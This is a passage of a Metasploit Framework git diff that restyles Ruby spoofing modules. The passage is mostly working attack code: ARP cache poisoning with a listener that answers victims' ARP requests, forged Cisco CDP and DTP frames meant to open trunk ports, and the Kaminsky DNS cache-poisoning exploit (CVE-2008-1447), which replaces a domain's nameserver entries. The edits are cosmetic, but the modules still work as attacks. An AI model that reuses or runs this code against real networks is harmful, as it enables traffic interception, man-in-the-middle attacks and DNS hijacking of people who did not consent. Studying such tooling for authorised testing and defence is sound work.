print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available') @netifaces = false end @spoofing = false @@ -77,15 +83,15 @@ def run @sip = datastore['LOCALSIP'] @sip ||= get_ipv4_addr(@interface) if @netifaces - raise "LOCALSIP is not defined and can not be guessed" unless @sip - raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) + raise 'LOCALSIP is not defined and can not be guessed' unless @sip + raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip) - shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS']) + shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS']) @shosts = [] if datastore['BIDIRECTIONAL'] - shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end} + shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end } else - shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end} + shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end } end if datastore['BROADCAST'] @@ -93,69 +99,67 @@ def run else arp_poisoning end - - rescue => ex - print_error( ex.message) + rescue StandardError => e + print_error(e.message) ensure - - if datastore['LISTENER'] - @listener.kill if @listener + if datastore['LISTENER'] && @listener + @listener.kill end - if capture and @spoofing and not datastore['BROADCAST'] - print_status("RE-ARPing the victims...") + if capture && @spoofing && !datastore['BROADCAST'] + print_status('RE-ARPing the victims...') 3.times do @dsthosts_cache.keys.sort.each do |dhost| dmac = @dsthosts_cache[dhost] if datastore['BIDIRECTIONAL'] @srchosts_cache.keys.sort.each do |shost| smac = @srchosts_cache[shost] - if shost != dhost - vprint_status("Sending arp packet for #{shost} to #{dhost}") - reply = buildreply(shost, smac, dhost, dmac) - inject(reply) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) - end + next unless shost != dhost + + vprint_status("Sending arp packet for #{shost} to #{dhost}") + reply = buildreply(shost, smac, dhost, dmac) + inject(reply) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end else @shosts.each do |shost| - if shost != dhost - vprint_status("Sending arp request for #{shost} to #{dhost}") - request = buildprobe(dhost, dmac, shost) - inject(request) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) - end + next unless shost != dhost + + vprint_status("Sending arp request for #{shost} to #{dhost}") + request = buildprobe(dhost, dmac, shost) + inject(request) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end end end - if datastore['BIDIRECTIONAL'] - @srchosts_cache.keys.sort.each do |shost| - smac = @srchosts_cache[shost] - @dsthosts_cache.keys.sort.each do |dhost| - dmac = @dsthosts_cache[dhost] - if shost != dhost - vprint_status("Sending arp packet for #{dhost} to #{shost}") - reply = buildreply(dhost, dmac, shost, smac) - inject(reply) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) - end - end + next unless datastore['BIDIRECTIONAL'] + + @srchosts_cache.keys.sort.each do |shost| + smac = @srchosts_cache[shost] + @dsthosts_cache.keys.sort.each do |dhost| + dmac = @dsthosts_cache[dhost] + next unless shost != dhost + + vprint_status("Sending arp packet for #{dhost} to #{shost}") + reply = buildreply(dhost, dmac, shost, smac) + inject(reply) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end end - end # 3.times + end end close_pcap - end #begin/rescue/ensure + end end def broadcast_spoof - print_status("ARP poisoning in progress (broadcast)...") - while(true) + print_status('ARP poisoning in progress (broadcast)...') + loop do @shosts.each do |shost| vprint_status("Sending arp packet for #{shost} address") reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff') inject(reply) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end end end @@ -166,46 +170,47 @@ def arp_poisoning dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS']) @dhosts = [] - dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end} + dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end } # Build the local dest hosts cache - print_status("Building the destination hosts cache...") + print_status('Building the destination hosts cache...') @dhosts.each do |dhost| vprint_status("Sending arp packet to #{dhost}") probe = buildprobe(@sip, lsmac, dhost) inject(probe) - while(reply = getreply()) - next if not reply.is_arp? + while (reply = getreply) + next if !reply.is_arp? + # Without this check any arp request would be added to the cache - if @dhosts.include? reply.arp_saddr_ip - print_good("#{reply.arp_saddr_ip} appears to be up.") - report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) - @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac - end - end + next unless @dhosts.include? reply.arp_saddr_ip + print_good("#{reply.arp_saddr_ip} appears to be up.") + report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac) + @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac + end end # Wait some few seconds for last packets etime = Time.now.to_f + datastore['TIMEOUT'] while (Time.now.to_f < etime) - while(reply = getreply()) - next if not reply.is_arp? - if @dhosts.include? reply.arp_saddr_ip - print_good("#{reply.arp_saddr_ip} appears to be up.") - report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) - @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac - end + while (reply = getreply) + next if !reply.is_arp? + + next unless @dhosts.include? reply.arp_saddr_ip + + print_good("#{reply.arp_saddr_ip} appears to be up.") + report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac) + @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac end Kernel.select(nil, nil, nil, 0.50) end - raise "No hosts found" unless @dsthosts_cache.length > 0 + raise 'No hosts found' if @dsthosts_cache.empty? # Build the local src hosts cache if datastore['BIDIRECTIONAL'] - print_status("Building the source hosts cache for unknown source hosts...") + print_status('Building the source hosts cache for unknown source hosts...') @shosts.each do |shost| - if @dsthosts_cache.has_key? shost + if @dsthosts_cache.key? shost vprint_status("Adding #{shost} from destination cache") @srchosts_cache[shost] = @dsthosts_cache[shost] next @@ -213,30 +218,31 @@ def arp_poisoning vprint_status("Sending arp packet to #{shost}") probe = buildprobe(@sip, lsmac, shost) inject(probe) - while(reply = getreply()) - next if not reply.is_arp? - if @shosts.include? reply.arp_saddr_ip - print_good("#{reply.arp_saddr_ip} appears to be up.") - report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) - @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac - end - end + while (reply = getreply) + next if !reply.is_arp? + + next unless @shosts.include? reply.arp_saddr_ip + print_good("#{reply.arp_saddr_ip} appears to be up.") + report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac) + @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac + end end # Wait some few seconds for last packets etime = Time.now.to_f + datastore['TIMEOUT'] while (Time.now.to_f < etime) - while(reply = getreply()) - next if not reply.is_arp? - if @shosts.include? reply.arp_saddr_ip - print_good("#{reply.arp_saddr_ip} appears to be up.") - report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) - @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac - end + while (reply = getreply) + next if !reply.is_arp? + + next unless @shosts.include? reply.arp_saddr_ip + + print_good("#{reply.arp_saddr_ip} appears to be up.") + report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac) + @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac end Kernel.select(nil, nil, nil, 0.50) end - raise "No hosts found" unless @srchosts_cache.length > 0 + raise 'No hosts found' if @srchosts_cache.empty? end if datastore['AUTO_ADD'] @@ -248,20 +254,18 @@ def arp_poisoning start_listener(@dsthosts_cache, @srchosts_cache) end # Do the job until user interrupt it - print_status("ARP poisoning in progress...") + print_status('ARP poisoning in progress...') @spoofing = true - while(true) + loop do if datastore['AUTO_ADD'] @mutex_cache.lock - if @dsthosts_autoadd_cache.length > 0 + if !@dsthosts_autoadd_cache.empty? @dsthosts_cache.merge!(@dsthosts_autoadd_cache) @dsthosts_autoadd_cache = {} end - if datastore['BIDIRECTIONAL'] - if @srchosts_autoadd_cache.length > 0 - @srchosts_cache.merge!(@srchosts_autoadd_cache) - @srchosts_autoadd_cache = {} - end + if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0) + @srchosts_cache.merge!(@srchosts_autoadd_cache) + @srchosts_autoadd_cache = {} end @mutex_cache.unlock end @@ -269,53 +273,53 @@ def arp_poisoning dmac = @dsthosts_cache[dhost] if datastore['BIDIRECTIONAL'] @srchosts_cache.keys.sort.each do |shost| - smac = @srchosts_cache[shost] - if shost != dhost - vprint_status("Sending arp packet for #{shost} to #{dhost}") - reply = buildreply(shost, @smac, dhost, dmac) - inject(reply) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) - end + @srchosts_cache[shost] + next unless shost != dhost + + vprint_status("Sending arp packet for #{shost} to #{dhost}") + reply = buildreply(shost, @smac, dhost, dmac) + inject(reply) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end else @shosts.each do |shost| - if shost != dhost - vprint_status("Sending arp packet for #{shost} to #{dhost}") - reply = buildreply(shost, @smac, dhost, dmac) - inject(reply) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) - end + next unless shost != dhost + + vprint_status("Sending arp packet for #{shost} to #{dhost}") + reply = buildreply(shost, @smac, dhost, dmac) + inject(reply) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end end end - if datastore['BIDIRECTIONAL'] - @srchosts_cache.keys.sort.each do |shost| - smac = @srchosts_cache[shost] - @dsthosts_cache.keys.sort.each do |dhost| - dmac = @dsthosts_cache[dhost] - if shost != dhost - vprint_status("Sending arp packet for #{dhost} to #{shost}") - reply = buildreply(dhost, @smac, shost, smac) - inject(reply) - Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) - end - end + next unless datastore['BIDIRECTIONAL'] + + @srchosts_cache.keys.sort.each do |shost| + smac = @srchosts_cache[shost] + @dsthosts_cache.keys.sort.each do |dhost| + @dsthosts_cache[dhost] + next unless shost != dhost + + vprint_status("Sending arp packet for #{dhost} to #{shost}") + reply = buildreply(dhost, @smac, shost, smac) + inject(reply) + Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000) end end end end - def is_mac?(mac) if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true - else false end + else + false end end def buildprobe(shost, smac, dhost) p = PacketFu::ARPPacket.new p.eth_saddr = smac - p.eth_daddr = "ff:ff:ff:ff:ff:ff" + p.eth_daddr = 'ff:ff:ff:ff:ff:ff' p.arp_opcode = 1 p.arp_daddr_mac = p.eth_daddr p.arp_saddr_mac = p.eth_saddr @@ -338,75 +342,72 @@ def buildreply(shost, smac, dhost, dmac) def getreply pkt_bytes = capture.next - return if not pkt_bytes + return if !pkt_bytes + pkt = PacketFu::Packet.parse(pkt_bytes) return unless pkt.is_arp? return unless pkt.arp_opcode == 2 + pkt end def start_listener(dsthosts_cache, srchosts_cache) - if datastore['BIDIRECTIONAL'] - args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup} + thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup } else - args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup} + thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup } end # To avoid any race condition in case of , even if actually those are never updated after the thread is launched - args[:AUTO_ADD] = datastore['AUTO_ADD'] - args[:localip] = @sip.dup - @listener = Thread.new(args) do |args| - begin - # one more local copy - liste_src_ips = [] - if args[:BIDIRECTIONAL] - args[:shosts].each_key {|address| liste_src_ips.push address} - else - args[:shosts].each {|address| liste_src_ips.push address} - end - liste_dst_ips = [] - args[:dhosts].each_key {|address| liste_dst_ips.push address} - localip = args[:localip] - - listener_capture = ::Pcap.open_live(@interface, 68, true, 0) - listener_capture.setfilter("arp[6:2] == 0x0001") - while(true) - pkt_bytes = listener_capture.next - if pkt_bytes - pkt = PacketFu::Packet.parse(pkt_bytes) - if pkt.is_arp? - if pkt.arp_opcode == 1 - # check if the source ip is in the dest hosts - if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or - (args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip) - vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}") - reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr) - 3.times{listener_capture.inject(reply.to_s)} - elsif args[:AUTO_ADD] - if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and - pkt.arp_saddr_ip != localip) - @mutex_cache.lock - print_status("#{pkt.arp_saddr_ip} appears to be up.") - @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac - liste_dst_ips.push pkt.arp_saddr_ip - @mutex_cache.unlock - elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and - not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip) - @mutex_cache.lock - print_status("#{pkt.arp_saddr_ip} appears to be up.") - @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac - liste_src_ips.push pkt.arp_saddr_ip - @mutex_cache.unlock - end - end - end + thread_args[:AUTO_ADD] = datastore['AUTO_ADD'] + thread_args[:localip] = @sip.dup + @listener = Thread.new(thread_args) do |args| + # one more local copy + liste_src_ips = [] + if args[:BIDIRECTIONAL] + args[:shosts].each_key { |address| liste_src_ips.push address } + else + args[:shosts].each { |address| liste_src_ips.push address } + end + liste_dst_ips = [] + args[:dhosts].each_key { |address| liste_dst_ips.push address } + localip = args[:localip] + + listener_capture = ::Pcap.open_live(@interface, 68, true, 0) + listener_capture.setfilter('arp[6:2] == 0x0001') + loop do + pkt_bytes = listener_capture.next + next unless pkt_bytes + + pkt = PacketFu::Packet.parse(pkt_bytes) + if pkt.is_arp? && pkt.arp_opcode == (1) + # check if the source ip is in the dest hosts + if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) || + (args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip)) + vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}") + reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr) + 3.times { listener_capture.inject(reply.to_s) } + elsif args[:AUTO_ADD] + if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) && + (pkt.arp_saddr_ip != localip) + @mutex_cache.lock + print_status("#{pkt.arp_saddr_ip} appears to be up.") + @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac + liste_dst_ips.push pkt.arp_saddr_ip + @mutex_cache.unlock + elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) && + !liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip) + @mutex_cache.lock + print_status("#{pkt.arp_saddr_ip} appears to be up.") + @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac + liste_src_ips.push pkt.arp_saddr_ip + @mutex_cache.unlock end end end - rescue => ex - print_error("Listener Error: #{ex.message}") - print_error("Listener Error: Listener is stopped") end + rescue StandardError => e + print_error("Listener Error: #{e.message}") + print_error('Listener Error: Listener is stopped') end @listener.abort_on_exception = true end diff --git a/modules/auxiliary/spoof/cisco/cdp.rb b/modules/auxiliary/spoof/cisco/cdp.rb index ccec0d005d338..b39724fbbd84e 100644 --- a/modules/auxiliary/spoof/cisco/cdp.rb +++ b/modules/auxiliary/spoof/cisco/cdp.rb @@ -7,38 +7,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture def initialize - super( - 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets', + 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets', 'Description' => %q{ This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses to the CDP packets broadcast from this module will need to be analyzed with an external packet analysis tool, such as tcpdump or Wireshark in order to learn more about the Cisco switch and router environment. }, - 'Author' => 'Fatih Ozavci', # viproy.com/fozavci - 'License' => MSF_LICENSE, - 'References' => [ + 'Author' => 'Fatih Ozavci', # viproy.com/fozavci + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ] ], - 'Actions' => [ + 'Actions' => [ ['Spoof', { 'Description' => 'Sends CDP packets' }] ], - 'DefaultAction' => 'Spoof' + 'DefaultAction' => 'Spoof', + 'Notes' => { + 'Stability' => [OS_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options( [ - OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]), - OptString.new('VTPDOMAIN', [false, "VTP Domain"]), - OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]), - OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]), + OptString.new('SMAC', [false, 'MAC address for MAC spoofing']), + OptString.new('VTPDOMAIN', [false, 'VTP Domain']), + OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']), + OptString.new('PORT', [true, "The CDP 'sent through interface' value", 'Port 1']), # XXX: this is not currently implemented - #OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), - OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]), - OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]), + # OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), + OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']), + OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']), OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true]) - ]) + ] + ) deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT') end @@ -46,8 +51,9 @@ def initialize def setup check_pcaprub_loaded unless smac - fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC" + raise ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC" end + open_pcap close_pcap end @@ -61,19 +67,17 @@ def smac end def run - begin - open_pcap - - @run = true - cdp_packet = build_cdp - print_status("Sending CDP messages on #{interface}") - while @run - capture.inject(cdp_packet) - Rex.sleep(60) - end - ensure - close_pcap + open_pcap + + @run = true + cdp_packet = build_cdp + print_status("Sending CDP messages on #{interface}") + while @run + capture.inject(cdp_packet) + Rex.sleep(60) end + ensure + close_pcap end def build_cdp @@ -106,7 +110,7 @@ def build_cdp # VTP management domain cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN'] # random 1000-7000 power consumption in mW - cdp << tlv(0x10, [1000 + rand(6000)].pack('n')) + cdp << tlv(0x10, [rand(1000..6999)].pack('n')) # duplex cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00") # VLAn query. TODO: figure out this field, use tlv, make configurable @@ -117,7 +121,7 @@ def build_cdp # Build and return the final packet, which is 802.3 + LLC + CDP. # 802.3 - PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") + + PacketFu::EthHeader.mac2str('01:00:0C:CC:CC:CC') + PacketFu::EthHeader.mac2str(smac) + [cdp.length + 8].pack('n') + # LLC @@ -126,8 +130,8 @@ def build_cdp cdp end - def tlv(t, v) - [ t, v.length + 4 ].pack("nn") + v + def tlv(type, value) + [ type, value.length + 4 ].pack('nn') + value end def compute_cdp_checksum(cdp) @@ -143,6 +147,6 @@ def compute_cdp_checksum(cdp) checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1 checksum = (checksum >> 16) + (checksum & 0xffff) checksum = ~((checksum >> 16) + checksum) & 0xffff - ([checksum].pack("S*")).unpack("n*")[0] + [checksum].pack('S*').unpack('n*')[0] end end diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index c7088df20519a..8d8b693191e38 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -6,25 +6,30 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture - def initialize(info = {}) + def initialize(_info = {}) super( - 'Name' => 'Forge Cisco DTP Packets', + 'Name' => 'Forge Cisco DTP Packets', 'Description' => %q{ This module forges DTP packets to initialize a trunk port. }, - 'Author' => [ 'Spencer McIntyre' ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run DTP forging service' ] - ], + 'Author' => [ 'Spencer McIntyre' ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', { 'Description' => 'Run DTP forging service' } ] + ], 'PassiveActions' => [ 'Service' ], - 'DefaultAction' => 'Service' + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [OS_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options( [ - OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']), - ]) + OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']), + ] + ) deregister_options('RHOST', 'PCAPFILE') end @@ -40,11 +45,11 @@ def build_dtp_frame p.eth_daddr = '01:00:0c:cc:cc:cc' p.eth_saddr = smac llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04" - dtp_hdr = "\x01" # version - dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain + dtp_hdr = "\x01" # version + dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain dtp_hdr << "\x00\x02\x00\x05\x03" # status dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type - dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor + dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor p.eth_proto = llc_hdr.length + dtp_hdr.length p.payload = llc_hdr << dtp_hdr p @@ -61,23 +66,27 @@ def smac end def run - unless smac() - print_error 'Source MAC (SMAC) should be defined' - else - unless is_mac? smac - print_error "Source MAC (SMAC) `#{smac}' is badly formatted." - else - print_status "Starting DTP spoofing service..." - open_pcap({'FILTER' => "ether host 01:00:0c:cc:cc:cc"}) - interface = datastore['INTERFACE'] || Pcap.lookupdev - dtp = build_dtp_frame() - @run = true - while @run - capture.inject(dtp.to_s) - select(nil, nil, nil, 60) - end - close_pcap - end + unless smac + print_error('Source MAC (SMAC) should be defined') + return + end + + unless is_mac?(smac) + print_error("Source MAC (SMAC) `#{smac}' is badly formatted.") + return end + + print_status 'Starting DTP spoofing service...' + open_pcap({ 'FILTER' => 'ether host 01:00:0c:cc:cc:cc' }) + datastore['INTERFACE'] || Pcap.lookupdev + dtp = build_dtp_frame + @run = true + + while @run + capture.inject(dtp.to_s) + select(nil, nil, nil, 60) + end + + close_pcap end end diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 235f043710db8..c517798012295 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' require 'net/dns' require 'resolv' @@ -10,35 +11,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture def initialize(info = {}) - super(update_info(info, - 'Name' => 'DNS BailiWicked Domain Attack', - 'Description' => %q{ - This exploit attacks a fairly ubiquitous flaw in DNS implementations which - Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target - domains nameserver entries in a vulnerable DNS cache server. This attack works - by sending random hostname queries to the target DNS server coupled with spoofed - replies to those queries from the authoritative nameservers for that domain. - Eventually, a guessed ID will match, the spoofed packet will get accepted, and - the nameserver entries for the target domain will be replaced by the server - specified in the NEWDNS option of this exploit. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'DNS BailiWicked Domain Attack', + 'Description' => %q{ + This exploit attacks a fairly ubiquitous flaw in DNS implementations which + Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target + domains nameserver entries in a vulnerable DNS cache server. This attack works + by sending random hostname queries to the target DNS server coupled with spoofed + replies to those queries from the authoritative nameservers for that domain. + Eventually, a guessed ID will match, the spoofed packet will get accepted, and + the nameserver entries for the target domain will be replaced by the server + specified in the NEWDNS option of this exploit. + }, + 'Author' => [ 'I)ruid', 'hdm', # Cedric figured out the NS injection method # and was cool enough to email us and share! 'Cedric Blancher ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-1447' ], [ 'OSVDB', '46776'], [ 'US-CERT-VU', '800113' ], - [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], + [ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], ], - 'DisclosureDate' => '2008-07-21' - )) + 'DisclosureDate' => '2008-07-21', + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ @@ -48,24 +55,25 @@ def initialize(info = {}) OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]), OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), - OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]), - ]) + OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]), + ] + ) - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER', 'PCAPFILE') end def auxiliary_commands return { - "racer" => "Determine the size of the window for the target server" + 'racer' => 'Determine the size of the window for the target server' } end def cmd_racer(*args) - targ = args[0] || rhost() - dom = args[1] || "example.com" + targ = args[0] || rhost + dom = args[1] || 'example.com' - if !(targ and targ.length > 0) - print_status("usage: racer [dns-server] [domain]") + if !(targ && !targ.empty?) + print_status('usage: racer [dns-server] [domain]') return end @@ -81,68 +89,65 @@ def check ) random = false - ports = {} - lport = nil - reps = 0 + ports = {} + lport = nil + reps = 0 1.upto(30) do |i| - req = Resolv::DNS::Message.new - txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" + txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) - res, addr = srv_sock.recvfrom(65535, 1.0) - + res, = srv_sock.recvfrom(65535, 1.0) - if res and res.length > 0 + if res && !res.empty? reps += 1 res = Resolv::DNS::Message.decode(res) - res.each_answer do |name, ttl, data| - if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) - t_addr, t_port = $1.split(':') - - vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") - t_port = t_port.to_i - if(lport and lport != t_port) - random = true - end - lport = t_port - ports[t_port] ||=0 - ports[t_port] +=1 + res.each_answer do |name, _ttl, data| + next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m) + + t_addr, t_port = ::Regexp.last_match(1).split(':') + + vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") + t_port = t_port.to_i + if lport && (lport != t_port) + random = true end + lport = t_port + ports[t_port] ||= 0 + ports[t_port] += 1 end end - - if(i>5 and ports.keys.length == 0) + if (i > 5) && ports.keys.empty? break end end srv_sock.close - if(ports.keys.length == 0) - vprint_error("ERROR: This server is not replying to recursive requests") + if ports.keys.empty? + vprint_error('ERROR: This server is not replying to recursive requests') return Exploit::CheckCode::Unknown end - if(reps < 30) - vprint_warning("WARNING: This server did not reply to all of our requests") + if (reps < 30) + vprint_warning('WARNING: This server did not reply to all of our requests') end - if(random) + if random ports_u = ports.keys.length - ports_r = ((ports.keys.length/30.0)*100).to_i + ports_r = ((ports.keys.length / 30.0) * 100).to_i vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") - if(ports_r != 100) + if (ports_r != 100) vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence return Exploit::CheckCode::Appears end else - vprint_error("FAIL: This server uses 